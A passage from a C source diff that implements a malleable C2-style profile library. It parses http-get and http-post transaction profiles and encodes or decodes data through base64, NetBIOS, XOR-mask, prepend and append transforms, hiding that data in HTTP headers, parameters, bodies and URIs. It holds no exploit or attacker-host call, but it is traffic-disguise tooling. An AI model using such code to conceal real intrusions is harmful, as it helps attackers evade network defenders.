input + 4; + *output_len = input_len - 4; + + *output = (uint8_t*)malleable_malloc(*output_len); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + // XOR data with key + for (size_t i = 0; i < *output_len; i++) { + (*output)[i] = data[i] ^ key[i % 4]; + } + + return MALLEABLE_SUCCESS; +} + +/* ===================================================================== */ +/* TRANSFORMATION ENGINE */ +/* ===================================================================== */ + +malleable_error_t malleable_transform_apply( + const malleable_transform_chain_t* chain, + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +) { + if (!chain || !input || !output || !output_len) { + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + + // Start with a copy of input + uint8_t* current = (uint8_t*)malleable_malloc(input_len); + if (!current) return MALLEABLE_ERROR_MEMORY; + memcpy(current, input, input_len); + size_t current_len = input_len; + + // Apply each transform in sequence + for (size_t i = 0; i < chain->num_transforms; i++) { + malleable_transform_t* t = &chain->transforms[i]; + uint8_t* next = NULL; + size_t next_len = 0; + malleable_error_t err = MALLEABLE_SUCCESS; + + switch (t->type) { + case MALLEABLE_TRANSFORM_BASE64: + err = base64_encode_impl(current, current_len, &next, &next_len, + base64_table, 1); + break; + + case MALLEABLE_TRANSFORM_BASE64URL: + err = base64_encode_impl(current, current_len, &next, &next_len, + base64url_table, 0); + break; + + case MALLEABLE_TRANSFORM_NETBIOS: + err = netbios_encode(current, current_len, &next, &next_len, 'a'); + break; + + case MALLEABLE_TRANSFORM_NETBIOSU: + err = netbios_encode(current, current_len, &next, &next_len, 'A'); + break; + + case MALLEABLE_TRANSFORM_MASK: + err = mask_encode(current, current_len, &next, &next_len); + break; + + case MALLEABLE_TRANSFORM_PREPEND: + if (t->argument) { + size_t arg_len = strlen(t->argument); + next_len = arg_len + current_len; + next = (uint8_t*)malleable_malloc(next_len); + if (!next) err = MALLEABLE_ERROR_MEMORY; + else { + memcpy(next, t->argument, arg_len); + memcpy(next + arg_len, current, current_len); + } + } + break; + + case MALLEABLE_TRANSFORM_APPEND: + if (t->argument) { + size_t arg_len = strlen(t->argument); + next_len = current_len + arg_len; + next = (uint8_t*)malleable_malloc(next_len); + if (!next) err = MALLEABLE_ERROR_MEMORY; + else { + memcpy(next, current, current_len); + memcpy(next + current_len, t->argument, arg_len); + } + } + break; + } + + free(current); + + if (err != MALLEABLE_SUCCESS) { + if (next) free(next); + return err; + } + + current = next; + current_len = next_len; + } + + *output = current; + *output_len = current_len; + return MALLEABLE_SUCCESS; +} + +malleable_error_t malleable_transform_reverse( + const malleable_transform_chain_t* chain, + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +) { + if (!chain || !input || !output || !output_len) { + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + + // Start with a copy of input + uint8_t* current = (uint8_t*)malleable_malloc(input_len + 1); + if (!current) return MALLEABLE_ERROR_MEMORY; + memcpy(current, input, input_len); + current[input_len] = '\0'; + size_t current_len = input_len; + + // Apply transforms in REVERSE order + for (int i = (int)chain->num_transforms - 1; i >= 0; i--) { + malleable_transform_t* t = &chain->transforms[i]; + uint8_t* next = NULL; + size_t next_len = 0; + malleable_error_t err = MALLEABLE_SUCCESS; + + switch (t->type) { + case MALLEABLE_TRANSFORM_BASE64: + err = base64_decode_impl(current, current_len, &next, &next_len); + break; + + case MALLEABLE_TRANSFORM_BASE64URL: + err = base64_decode_impl(current, current_len, &next, &next_len); + break; + + case MALLEABLE_TRANSFORM_NETBIOS: + err = netbios_decode(current, current_len, &next, &next_len, 'a'); + break; + + case MALLEABLE_TRANSFORM_NETBIOSU: + err = netbios_decode(current, current_len, &next, &next_len, 'A'); + break; + + case MALLEABLE_TRANSFORM_MASK: + err = mask_decode(current, current_len, &next, &next_len); + break; + + case MALLEABLE_TRANSFORM_PREPEND: + // Reverse: remove first N characters + if (t->argument) { + size_t arg_len = strlen(t->argument); + if (current_len < arg_len) { + err = MALLEABLE_ERROR_TRANSFORM_FAILED; + } else { + next_len = current_len - arg_len; + next = (uint8_t*)malleable_malloc(next_len); + if (!next) err = MALLEABLE_ERROR_MEMORY; + else memcpy(next, current + arg_len, next_len); + } + } + break; + + case MALLEABLE_TRANSFORM_APPEND: + // Reverse: remove last N characters + if (t->argument) { + size_t arg_len = strlen(t->argument); + if (current_len < arg_len) { + err = MALLEABLE_ERROR_TRANSFORM_FAILED; + } else { + next_len = current_len - arg_len; + next = (uint8_t*)malleable_malloc(next_len); + if (!next) err = MALLEABLE_ERROR_MEMORY; + else memcpy(next, current, next_len); + } + } + break; + } + + free(current); + + if (err != MALLEABLE_SUCCESS) { + if (next) free(next); + return err; + } + + current = next; + current_len = next_len; + } + + *output = current; + *output_len = current_len; + return MALLEABLE_SUCCESS; +} + +/* ===================================================================== */ +/* PROFILE PARSER */ +/* ===================================================================== */ + +typedef struct { + const char* input; + size_t pos; + size_t len; +} malleable_parser_t; + +static void skip_whitespace(malleable_parser_t* p) { + while (p->pos < p->len && isspace((unsigned char)p->input[p->pos])) { + p->pos++; + } +} + +static void skip_comments(malleable_parser_t* p) { + while (p->pos < p->len) { + skip_whitespace(p); + if (p->pos < p->len && p->input[p->pos] == '#') { + // Skip until end of line + while (p->pos < p->len && p->input[p->pos] != '\n') { + p->pos++; + } + } else { + break; + } + } +} + +static int peek_char(malleable_parser_t* p) { + skip_comments(p); + return (p->pos < p->len) ? p->input[p->pos] : EOF; +} + +static int next_char(malleable_parser_t* p) { + skip_comments(p); + return (p->pos < p->len) ? p->input[p->pos++] : EOF; +} + +static int match_keyword(malleable_parser_t* p, const char* keyword) { + skip_comments(p); + size_t kw_len = strlen(keyword); + if (p->pos + kw_len <= p->len && + strncmp(p->input + p->pos, keyword, kw_len) == 0) { + // Check that it's followed by whitespace or delimiter + if (p->pos + kw_len == p->len || + isspace((unsigned char)p->input[p->pos + kw_len]) || + p->input[p->pos + kw_len] == '{' || + p->input[p->pos + kw_len] == ';') { + p->pos += kw_len; + return 1; + } + } + return 0; +} + +static char* parse_string(malleable_parser_t* p) { + skip_comments(p); + + if (peek_char(p) != '"') return NULL; + next_char(p); // Skip opening quote + + size_t capacity = 64; + size_t len = 0; + char* str = (char*)malleable_malloc(capacity); + if (!str) return NULL; + + while (p->pos < p->len && p->input[p->pos] != '"') { + char c = p->input[p->pos++]; + + // Handle escape sequences + if (c == '\\' && p->pos < p->len) { + char next = p->input[p->pos++]; + switch (next) { + case 'n': c = '\n'; break; + case 'r': c = '\r'; break; + case 't': c = '\t'; break; + case '\\': c = '\\'; break; + case '"': c = '"'; break; + case 'x': { + // Hex byte \xNN + if (p->pos + 1 < p->len) { + char hex[3] = {p->input[p->pos], p->input[p->pos + 1], 0}; + c = (char)strtol(hex, NULL, 16); + p->pos += 2; + } + break; + } + case 'u': { + // Unicode \u#### (encode as UTF-8) + if (p->pos + 3 < p->len) { + char hex[5] = { + p->input[p->pos], + p->input[p->pos + 1], + p->input[p->pos + 2], + p->input[p->pos + 3], + 0 + }; + unsigned int codepoint = (unsigned int)strtoul(hex, NULL, 16); + p->pos += 4; + + // Encode codepoint as UTF-8 + if (codepoint <= 0x7F) { + c = (char)codepoint; + } else { + char utf8[4] = {0}; + int utf8_len = 0; + + if (codepoint <= 0x7FF) { + utf8[0] = (char)(0xC0 | ((codepoint >> 6) & 0x1F)); + utf8[1] = (char)(0x80 | (codepoint & 0x3F)); + utf8_len = 2; + } else { + utf8[0] = (char)(0xE0 | ((codepoint >> 12) & 0x0F)); + utf8[1] = (char)(0x80 | ((codepoint >> 6) & 0x3F)); + utf8[2] = (char)(0x80 | (codepoint & 0x3F)); + utf8_len = 3; + } + + if (len + utf8_len >= capacity) { + while (len + utf8_len >= capacity) { + capacity *= 2; + } + str = (char*)malleable_realloc(str, capacity); + if (!str) return NULL; + } + + memcpy(str + len, utf8, utf8_len); + len += utf8_len; + continue; + } + } + break; + } + default: c = next; break; + } + } + + if (len + 1 >= capacity) { + capacity *= 2; + str = (char*)malleable_realloc(str, capacity); + if (!str) return NULL; + } + str[len++] = c; + } + + if (p->pos < p->len && p->input[p->pos] == '"') { + p->pos++; // Skip closing quote + } + + str[len] = '\0'; + return str; +} + +static malleable_transform_type_t parse_transform_type(const char* name) { + if (strcmp(name, "base64") == 0) return MALLEABLE_TRANSFORM_BASE64; + if (strcmp(name, "base64url") == 0) return MALLEABLE_TRANSFORM_BASE64URL; + if (strcmp(name, "netbios") == 0) return MALLEABLE_TRANSFORM_NETBIOS; + if (strcmp(name, "netbiosu") == 0) return MALLEABLE_TRANSFORM_NETBIOSU; + if (strcmp(name, "mask") == 0) return MALLEABLE_TRANSFORM_MASK; + if (strcmp(name, "prepend") == 0) return MALLEABLE_TRANSFORM_PREPEND; + if (strcmp(name, "append") == 0) return MALLEABLE_TRANSFORM_APPEND; + return -1; +} + +static malleable_termination_type_t parse_termination_type(const char* name) { + if (strcmp(name, "header") == 0) return MALLEABLE_TERM_HEADER; + if (strcmp(name, "parameter") == 0) return MALLEABLE_TERM_PARAMETER; + if (strcmp(name, "print") == 0) return MALLEABLE_TERM_PRINT; + if (strcmp(name, "uri-append") == 0) return MALLEABLE_TERM_URI_APPEND; + return -1; +} + +static malleable_transform_chain_t* parse_transform_chain(malleable_parser_t* p) { + malleable_transform_chain_t* chain = (malleable_transform_chain_t*)malleable_malloc(sizeof(malleable_transform_chain_t)); + if (!chain) return NULL; + + memset(chain, 0, sizeof(malleable_transform_chain_t)); + + size_t capacity = 8; + chain->transforms = (malleable_transform_t*)malleable_malloc(sizeof(malleable_transform_t) * capacity); + if (!chain->transforms) { + free(chain); + return NULL; + } + + while (peek_char(p) != '}' && peek_char(p) != EOF) { + // Try to match known transform keywords + malleable_transform_t transform = {0}; + char* keyword = NULL; + + // Read identifier + skip_comments(p); + size_t start = p->pos; + while (p->pos < p->len && (isalnum((unsigned char)p->input[p->pos]) || + p->input[p->pos] == '_' || p->input[p->pos] == '-')) { + p->pos++; + } + + if (p->pos > start) { + size_t kw_len = p->pos - start; + keyword = (char*)malleable_malloc(kw_len + 1); + if (keyword) { + memcpy(keyword, p->input + start, kw_len); + keyword[kw_len] = '\0'; + } + } + + if (!keyword) break; + + // Check if it's a transform + int transform_type = parse_transform_type(keyword); + if (transform_type >= 0) { + transform.type = transform_type; + + // Some transforms take arguments + if (transform.type == MALLEABLE_TRANSFORM_PREPEND || + transform.type == MALLEABLE_TRANSFORM_APPEND) { + transform.argument = parse_string(p); + } + + // Expect semicolon + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + + // Add to chain + if (chain->num_transforms >= capacity) { + capacity *= 2; + chain->transforms = (malleable_transform_t*)malleable_realloc( + chain->transforms, sizeof(malleable_transform_t) * capacity); + } + chain->transforms[chain->num_transforms++] = transform; + free(keyword); + continue; + } + + // Check if it's a termination statement + int term_type = parse_termination_type(keyword); + if (term_type >= 0) { + chain->termination.type = term_type; + chain->termination.target = parse_string(p); + + // Expect semicolon + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + + free(keyword); + break; // Termination ends the chain + } + + free(keyword); + break; + } + + return chain; +} + +static int parse_http_config_block(malleable_parser_t* p, malleable_http_config_t* config, const char* block_name) { + if (!match_keyword(p, block_name)) return 0; + + skip_comments(p); + if (peek_char(p) != '{') return 0; + next_char(p); + + while (peek_char(p) != '}' && peek_char(p) != EOF) { + if (match_keyword(p, "header")) { + char* name = parse_string(p); + char* value = parse_string(p); + if (name && value) { + // Store as "Name: Value" + size_t len = strlen(name) + strlen(value) + 3; + char* header = (char*)malleable_malloc(len); + if (header) { + snprintf(header, len, "%s: %s", name, value); + config->headers = (char**)malleable_realloc(config->headers, + sizeof(char*) * (config->num_headers + 1)); + config->headers[config->num_headers++] = header; + } + free(name); + free(value); + } + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + } + else if (match_keyword(p, "parameter")) { + char* key = parse_string(p); + char* value = parse_string(p); + if (key && value) { + size_t len = strlen(key) + strlen(value) + 2; + char* param = (char*)malleable_malloc(len); + if (param) { + snprintf(param, len, "%s=%s", key, value); + config->parameters = (char**)malleable_realloc(config->parameters, + sizeof(char*) * (config->num_parameters + 1)); + config->parameters[config->num_parameters++] = param; + } + free(key); + free(value); + } + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + } + else if (match_keyword(p, "metadata")) { + skip_comments(p); + if (peek_char(p) == '{') { + next_char(p); + config->metadata = parse_transform_chain(p); + skip_comments(p); + if (peek_char(p) == '}') next_char(p); + } + } + else if (match_keyword(p, "id")) { + skip_comments(p); + if (peek_char(p) == '{') { + next_char(p); + config->id = parse_transform_chain(p); + skip_comments(p); + if (peek_char(p) == '}') next_char(p); + } + } + else if (match_keyword(p, "output")) { + skip_comments(p); + if (peek_char(p) == '{') { + next_char(p); + config->output = parse_transform_chain(p); + skip_comments(p); + if (peek_char(p) == '}') next_char(p); + } + } + else { + // Skip unknown statement + while (peek_char(p) != ';' && peek_char(p) != '}' && peek_char(p) != EOF) { + next_char(p); + } + if (peek_char(p) == ';') next_char(p); + } + } + + if (peek_char(p) == '}') next_char(p); + return 1; +} + +static malleable_http_transaction_t* parse_http_transaction(malleable_parser_t* p, const char* transaction_type) { + if (!match_keyword(p, transaction_type)) return NULL; + + malleable_http_transaction_t* trans = (malleable_http_transaction_t*)malleable_malloc(sizeof(malleable_http_transaction_t)); + if (!trans) return NULL; + memset(trans, 0, sizeof(malleable_http_transaction_t)); + + // Parse optional variant name + skip_comments(p); + if (peek_char(p) == '"') { + trans->variant = parse_string(p); + } else { + trans->variant = malleable_strdup("default"); + } + + // Set method + if (strcmp(transaction_type, "http-get") == 0) { + trans->method = MALLEABLE_HTTP_GET; + } else if (strcmp(transaction_type, "http-post") == 0) { + trans->method = MALLEABLE_HTTP_POST; + } + + skip_comments(p); + if (peek_char(p) != '{') { + free(trans); + return NULL; + } + next_char(p); + + // Parse transaction body + while (peek_char(p) != '}' && peek_char(p) != EOF) { + if (match_keyword(p, "set")) { + if (match_keyword(p, "uri")) { + char* uri_str = parse_string(p); + if (uri_str) { + // Split space-separated URIs without strtok (MSVC warning) + char* cursor = uri_str; + while (*cursor) { + while (*cursor && isspace((unsigned char)*cursor)) cursor++; + if (!*cursor) break; + char* start = cursor; + while (*cursor && !isspace((unsigned char)*cursor)) cursor++; + size_t token_len = (size_t)(cursor - start); + if (token_len > 0) { + char* token = (char*)malleable_malloc(token_len + 1); + if (token) { + memcpy(token, start, token_len); + token[token_len] = '\0'; + trans->uris = (char**)malleable_realloc(trans->uris, + sizeof(char*) * (trans->num_uris + 1)); + trans->uris[trans->num_uris++] = token; + } + } + } + free(uri_str); + } + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + } else { + if (match_keyword(p, "verb")) { + char* verb_str = parse_string(p); + if (verb_str) { + if (malleable_strncasecmp(verb_str, "GET", 3) == 0 && strlen(verb_str) == 3) { + trans->method = MALLEABLE_HTTP_GET; + } else if (malleable_strncasecmp(verb_str, "POST", 4) == 0 && strlen(verb_str) == 4) { + trans->method = MALLEABLE_HTTP_POST; + } + free(verb_str); + } + skip_comments(p); + if (peek_char(p) == ';') next_char(p); + } else { + // Skip unknown set statement + while (peek_char(p) != ';' && peek_char(p) != EOF) next_char(p); + if (peek_char(p) == ';') next_char(p); + } + } + } + else if (parse_http_config_block(p, &trans->client, "client")) { + // Parsed client block + } + else if (parse_http_config_block(p, &trans->server, "server")) { + // Parsed server block + } + else { + // Skip unknown + next_char(p); + } + } + + if (peek_char(p) == '}') next_char(p); + + return trans; +} + +malleable_profile_t* malleable_profile_parse(const char* profile_str) { + if (!profile_str) return NULL; + + malleable_profile_t* profile = (malleable_profile_t*)malleable_malloc(sizeof(malleable_profile_t)); + if (!profile) return NULL; + memset(profile, 0, sizeof(malleable_profile_t)); + + malleable_parser_t parser = { + .input = profile_str, + .pos = 0, + .len = strlen(profile_str) + }; + + // Parse profile + while (parser.pos < parser.len) { + if (match_keyword(&parser, "set")) { + if (match_keyword(&parser, "useragent")) { + profile->useragent = parse_string(&parser); + skip_comments(&parser); + if (peek_char(&parser) == ';') next_char(&parser); + } else if (match_keyword(&parser, "sample_name")) { + profile->profile_name = parse_string(&parser); + skip_comments(&parser); + if (peek_char(&parser) == ';') next_char(&parser); + } else if (match_keyword(&parser, "headers_remove")) { + char* list = parse_string(&parser); + if (list) { + char* cursor = list; + while (*cursor) { + char* token = cursor; + char* comma = strchr(cursor, ','); + if (comma) { + *comma = '\0'; + cursor = comma + 1; + } else { + cursor = token + strlen(token); + } + token = trim_in_place(token); + if (*token) { + profile->headers_remove = (char**)malleable_realloc( + profile->headers_remove, + sizeof(char*) * (profile->num_headers_remove + 1) + ); + if (profile->headers_remove) { + profile->headers_remove[profile->num_headers_remove++] = malleable_strdup(token); + } + } + } + free(list); + } + skip_comments(&parser); + if (peek_char(&parser) == ';') next_char(&parser); + } else { + // Skip other set statements + while (peek_char(&parser) != ';' && peek_char(&parser) != EOF) { + next_char(&parser); + } + if (peek_char(&parser) == ';') next_char(&parser); + } + } + else { + malleable_http_transaction_t* trans = parse_http_transaction(&parser, "http-get"); + if (trans) { + profile->http_get_transactions = (malleable_http_transaction_t*)malleable_realloc( + profile->http_get_transactions, + sizeof(malleable_http_transaction_t) * (profile->num_http_get + 1)); + profile->http_get_transactions[profile->num_http_get++] = *trans; + free(trans); + continue; + } + + trans = parse_http_transaction(&parser, "http-post"); + if (trans) { + profile->http_post_transactions = (malleable_http_transaction_t*)malleable_realloc( + profile->http_post_transactions, + sizeof(malleable_http_transaction_t) * (profile->num_http_post + 1)); + profile->http_post_transactions[profile->num_http_post++] = *trans; + free(trans); + continue; + } + + // Skip unknown blocks + if (peek_char(&parser) != EOF) { + next_char(&parser); + } else { + break; + } + } + } + return profile; +} + +void malleable_profile_free(malleable_profile_t* profile) { + if (!profile) return; + + free(profile->profile_name); + free(profile->useragent); + + if (profile->headers_remove) { + for (size_t i = 0; i < profile->num_headers_remove; i++) { + free(profile->headers_remove[i]); + } + free(profile->headers_remove); + } + + if (profile->http_get_transactions) { + for (size_t i = 0; i < profile->num_http_get; i++) { + malleable_http_transaction_t* txn = &profile->http_get_transactions[i]; + free(txn->variant); + if (txn->uris) { + for (size_t u = 0; u < txn->num_uris; u++) { + free(txn->uris[u]); + } + free(txn->uris); + } + if (txn->client.headers) { + for (size_t h = 0; h < txn->client.num_headers; h++) { + free(txn->client.headers[h]); + } + free(txn->client.headers); + } + if (txn->client.parameters) { + for (size_t p = 0; p < txn->client.num_parameters; p++) { + free(txn->client.parameters[p]); + } + free(txn->client.parameters); + } + if (txn->server.headers) { + for (size_t h = 0; h < txn->server.num_headers; h++) { + free(txn->server.headers[h]); + } + free(txn->server.headers); + } + if (txn->server.parameters) { + for (size_t p = 0; p < txn->server.num_parameters; p++) { + free(txn->server.parameters[p]); + } + free(txn->server.parameters); + } + if (txn->client.metadata) { + for (size_t t = 0; t < txn->client.metadata->num_transforms; t++) { + free(txn->client.metadata->transforms[t].argument); + } + free(txn->client.metadata->transforms); + free(txn->client.metadata->termination.target); + free(txn->client.metadata); + } + if (txn->client.id) { + for (size_t t = 0; t < txn->client.id->num_transforms; t++) { + free(txn->client.id->transforms[t].argument); + } + free(txn->client.id->transforms); + free(txn->client.id->termination.target); + free(txn->client.id); + } + if (txn->client.output) { + for (size_t t = 0; t < txn->client.output->num_transforms; t++) { + free(txn->client.output->transforms[t].argument); + } + free(txn->client.output->transforms); + free(txn->client.output->termination.target); + free(txn->client.output); + } + if (txn->server.metadata) { + for (size_t t = 0; t < txn->server.metadata->num_transforms; t++) { + free(txn->server.metadata->transforms[t].argument); + } + free(txn->server.metadata->transforms); + free(txn->server.metadata->termination.target); + free(txn->server.metadata); + } + if (txn->server.id) { + for (size_t t = 0; t < txn->server.id->num_transforms; t++) { + free(txn->server.id->transforms[t].argument); + } + free(txn->server.id->transforms); + free(txn->server.id->termination.target); + free(txn->server.id); + } + if (txn->server.output) { + for (size_t t = 0; t < txn->server.output->num_transforms; t++) { + free(txn->server.output->transforms[t].argument); + } + free(txn->server.output->transforms); + free(txn->server.output->termination.target); + free(txn->server.output); + } + } + free(profile->http_get_transactions); + } + + if (profile->http_post_transactions) { + for (size_t i = 0; i < profile->num_http_post; i++) { + malleable_http_transaction_t* txn = &profile->http_post_transactions[i]; + free(txn->variant); + if (txn->uris) { + for (size_t u = 0; u < txn->num_uris; u++) { + free(txn->uris[u]); + } + free(txn->uris); + } + if (txn->client.headers) { + for (size_t h = 0; h < txn->client.num_headers; h++) { + free(txn->client.headers[h]); + } + free(txn->client.headers); + } + if (txn->client.parameters) { + for (size_t p = 0; p < txn->client.num_parameters; p++) { + free(txn->client.parameters[p]); + } + free(txn->client.parameters); + } + if (txn->server.headers) { + for (size_t h = 0; h < txn->server.num_headers; h++) { + free(txn->server.headers[h]); + } + free(txn->server.headers); + } + if (txn->server.parameters) { + for (size_t p = 0; p < txn->server.num_parameters; p++) { + free(txn->server.parameters[p]); + } + free(txn->server.parameters); + } + if (txn->client.metadata) { + for (size_t t = 0; t < txn->client.metadata->num_transforms; t++) { + free(txn->client.metadata->transforms[t].argument); + } + free(txn->client.metadata->transforms); + free(txn->client.metadata->termination.target); + free(txn->client.metadata); + } + if (txn->client.id) { + for (size_t t = 0; t < txn->client.id->num_transforms; t++) { + free(txn->client.id->transforms[t].argument); + } + free(txn->client.id->transforms); + free(txn->client.id->termination.target); + free(txn->client.id); + } + if (txn->client.output) { + for (size_t t = 0; t < txn->client.output->num_transforms; t++) { + free(txn->client.output->transforms[t].argument); + } + free(txn->client.output->transforms); + free(txn->client.output->termination.target); + free(txn->client.output); + } + if (txn->server.metadata) { + for (size_t t = 0; t < txn->server.metadata->num_transforms; t++) { + free(txn->server.metadata->transforms[t].argument); + } + free(txn->server.metadata->transforms); + free(txn->server.metadata->termination.target); + free(txn->server.metadata); + } + if (txn->server.id) { + for (size_t t = 0; t < txn->server.id->num_transforms; t++) { + free(txn->server.id->transforms[t].argument); + } + free(txn->server.id->transforms); + free(txn->server.id->termination.target); + free(txn->server.id); + } + if (txn->server.output) { + for (size_t t = 0; t < txn->server.output->num_transforms; t++) { + free(txn->server.output->transforms[t].argument); + } + free(txn->server.output->transforms); + free(txn->server.output->termination.target); + free(txn->server.output); + } + } + free(profile->http_post_transactions); + } + + free(profile); +} + +/* ===================================================================== */ +/* HTTP REQUEST/RESPONSE FUNCTIONS */ +/* ===================================================================== */ + +malleable_http_transaction_t* malleable_find_transaction( + malleable_http_transaction_t* transactions, + size_t num_transactions, + const char* variant +) { + const char* target = variant ? variant : "default"; + + for (size_t i = 0; i < num_transactions; i++) { + if (transactions[i].variant && strcmp(transactions[i].variant, target) == 0) { + return &transactions[i]; + } + } + + return NULL; +} + +const char* malleable_error_string(malleable_error_t error) { + switch (error) { + case MALLEABLE_SUCCESS: return "Success"; + case MALLEABLE_ERROR_INVALID_PROFILE: return "Invalid profile"; + case MALLEABLE_ERROR_PARSE_FAILED: return "Parse failed"; + case MALLEABLE_ERROR_INVALID_VARIANT: return "Invalid variant"; + case MALLEABLE_ERROR_TRANSFORM_FAILED: return "Transform failed"; + case MALLEABLE_ERROR_MEMORY: return "Memory allocation failed"; + case MALLEABLE_ERROR_NOT_FOUND: return "Not found"; + default: return "Unknown error"; + } +} + +void malleable_http_request_free(malleable_http_request_t* request) { + if (!request) return; + free(request->method); + free(request->uri); + if (request->headers) { + for (size_t i = 0; i < request->num_headers; i++) { + free(request->headers[i]); + } + free(request->headers); + } + free(request->body); + free(request); +} + +void malleable_http_response_free(malleable_http_response_t* response) { + if (!response) return; + if (response->headers) { + for (size_t i = 0; i < response->num_headers; i++) { + free(response->headers[i]); + } + free(response->headers); + } + free(response->body); + free(response); +} + +/* ===================================================================== */ +/* REQUEST/RESPONSE HELPERS */ +/* ===================================================================== */ + +// Helper: Add header to request +static malleable_error_t add_header(malleable_http_request_t* req, const char* name, const char* value) { + size_t new_count = req->num_headers + 1; + char** new_headers = (char**)malleable_realloc(req->headers, new_count * sizeof(char*)); + if (!new_headers) return MALLEABLE_ERROR_MEMORY; + + size_t header_len = strlen(name) + strlen(value) + 3; // ": " + null + char* header = (char*)malleable_malloc(header_len); + if (!header) { + free(new_headers); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(header, header_len, "%s: %s", name, value); + + new_headers[new_count - 1] = header; + req->headers = new_headers; + req->num_headers = new_count; + return MALLEABLE_SUCCESS; +} + +static int header_name_matches(const char* header, const char* name) { + const char* colon = strchr(header, ':'); + size_t header_len = colon ? (size_t)(colon - header) : strlen(header); + size_t name_len = strlen(name); + if (header_len != name_len) return 0; + return malleable_strncasecmp(header, name, header_len) == 0; +} + +static void remove_headers(malleable_http_request_t* req, const malleable_profile_t* profile) { + if (!req || !profile || !profile->headers_remove || profile->num_headers_remove == 0) return; + size_t i = 0; + while (i < req->num_headers) { + int remove = 0; + for (size_t r = 0; r < profile->num_headers_remove; r++) { + if (header_name_matches(req->headers[i], profile->headers_remove[r])) { + remove = 1; + break; + } + } + if (remove) { + free(req->headers[i]); + for (size_t j = i + 1; j < req->num_headers; j++) { + req->headers[j - 1] = req->headers[j]; + } + req->num_headers--; + } else { + i++; + } + } + if (req->num_headers == 0) { + free(req->headers); + req->headers = NULL; + } +} + +// Helper: Extract value from header +static const char* get_header_value(const malleable_http_request_t* req, const char* name) { + size_t name_len = strlen(name); + for (size_t i = 0; i < req->num_headers; i++) { + if (strncmp(req->headers[i], name, name_len) == 0 && req->headers[i][name_len] == ':') { + const char* value = req->headers[i] + name_len + 1; + while (*value == ' ') value++; + return value; + } + } + return NULL; +} + +// Helper: Extract parameter value from query string +static char* get_parameter_value(const char* query, const char* key) { + if (!query || !key) return NULL; + + size_t key_len = strlen(key); + const char* pos = query; + + while (pos && *pos) { + if (strncmp(pos, key, key_len) == 0 && pos[key_len] == '=') { + const char* value_start = pos + key_len + 1; + const char* value_end = strchr(value_start, '&'); + size_t value_len = value_end ? (size_t)(value_end - value_start) : strlen(value_start); + + char* value = (char*)malleable_malloc(value_len + 1); + if (value) { + memcpy(value, value_start, value_len); + value[value_len] = '\0'; + } + return value; + } + pos = strchr(pos, '&'); + if (pos) pos++; // Skip '&' + } + return NULL; +} + +// Helper: Apply transform chain and place result per termination +static malleable_error_t apply_and_place( + const malleable_transform_chain_t* chain, + const uint8_t* data, + size_t data_len, + malleable_http_request_t* req, + char** uri_suffix // For URI-APPEND termination +) { + if (!chain || !data || !req) return MALLEABLE_ERROR_TRANSFORM_FAILED; + + // Apply transformation chain + uint8_t* transformed = NULL; + size_t transformed_len = 0; + malleable_error_t err = malleable_transform_apply(chain, data, data_len, &transformed, &transformed_len); + if (err != MALLEABLE_SUCCESS) return err; + + // Null-terminate for string operations + char* transformed_str = (char*)malleable_realloc(transformed, transformed_len + 1); + if (!transformed_str) { + free(transformed); + return MALLEABLE_ERROR_MEMORY; + } + transformed_str[transformed_len] = '\0'; + + // Place based on termination type + switch (chain->termination.type) { + case MALLEABLE_TERM_HEADER: + err = add_header(req, chain->termination.target, transformed_str); + free(transformed_str); + return err; + + case MALLEABLE_TERM_PARAMETER: { + // Add as query parameter to URI + const char* prefix = strchr(req->uri, '?') ? "&" : "?"; + size_t new_uri_len = strlen(req->uri) + strlen(prefix) + + strlen(chain->termination.target) + 1 + transformed_len + 1; + char* new_uri = (char*)malleable_malloc(new_uri_len); + if (!new_uri) { + free(transformed_str); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(new_uri, new_uri_len, "%s%s%s=%s", req->uri, prefix, + chain->termination.target, transformed_str); + free(req->uri); + req->uri = new_uri; + free(transformed_str); + return MALLEABLE_SUCCESS; + } + + case MALLEABLE_TERM_PRINT: + // Set as request body + if (req->body) free(req->body); + req->body = (uint8_t*)transformed_str; + req->body_len = transformed_len; + return MALLEABLE_SUCCESS; + + case MALLEABLE_TERM_URI_APPEND: + // Append to URI + if (uri_suffix) { + *uri_suffix = transformed_str; + } else { + size_t new_uri_len = strlen(req->uri) + transformed_len + 1; + char* new_uri = (char*)malleable_malloc(new_uri_len); + if (!new_uri) { + free(transformed_str); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(new_uri, new_uri_len, "%s%s", req->uri, transformed_str); + free(req->uri); + req->uri = new_uri; + free(transformed_str); + } + return MALLEABLE_SUCCESS; + } + + free(transformed_str); + return MALLEABLE_ERROR_TRANSFORM_FAILED; +} + +// Helper: Extract and reverse transform from request +static const char* find_uri_suffix(const malleable_http_transaction_t* txn, const char* uri) { + if (!txn || !uri || txn->num_uris == 0) return NULL; + for (size_t i = 0; i < txn->num_uris; i++) { + const char* base = txn->uris[i]; + size_t base_len = strlen(base); + if (strncmp(uri, base, base_len) == 0) { + return uri + base_len; + } + } + return NULL; +} + +static malleable_error_t extract_and_reverse( + const malleable_transform_chain_t* chain, + const malleable_http_request_t* req, + const malleable_http_transaction_t* txn, + uint8_t** data_out, + size_t* data_len_out +) { + if (!chain || !req || !data_out || !data_len_out) { + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + + const char* extracted = NULL; + char* extracted_copy = NULL; + + // Extract based on termination type + switch (chain->termination.type) { + case MALLEABLE_TERM_HEADER: + extracted = get_header_value(req, chain->termination.target); + if (extracted) { + extracted_copy = malleable_strdup(extracted); + } + break; + + case MALLEABLE_TERM_PARAMETER: { + const char* query = strchr(req->uri, '?'); + if (query) { + extracted_copy = get_parameter_value(query + 1, chain->termination.target); + } + break; + } + + case MALLEABLE_TERM_PRINT: + if (req->body && req->body_len > 0) { + extracted_copy = (char*)malleable_malloc(req->body_len + 1); + if (extracted_copy) { + memcpy(extracted_copy, req->body, req->body_len); + extracted_copy[req->body_len] = '\0'; + } + } + break; + + case MALLEABLE_TERM_URI_APPEND: { + const char* suffix = find_uri_suffix(txn, req->uri); + if 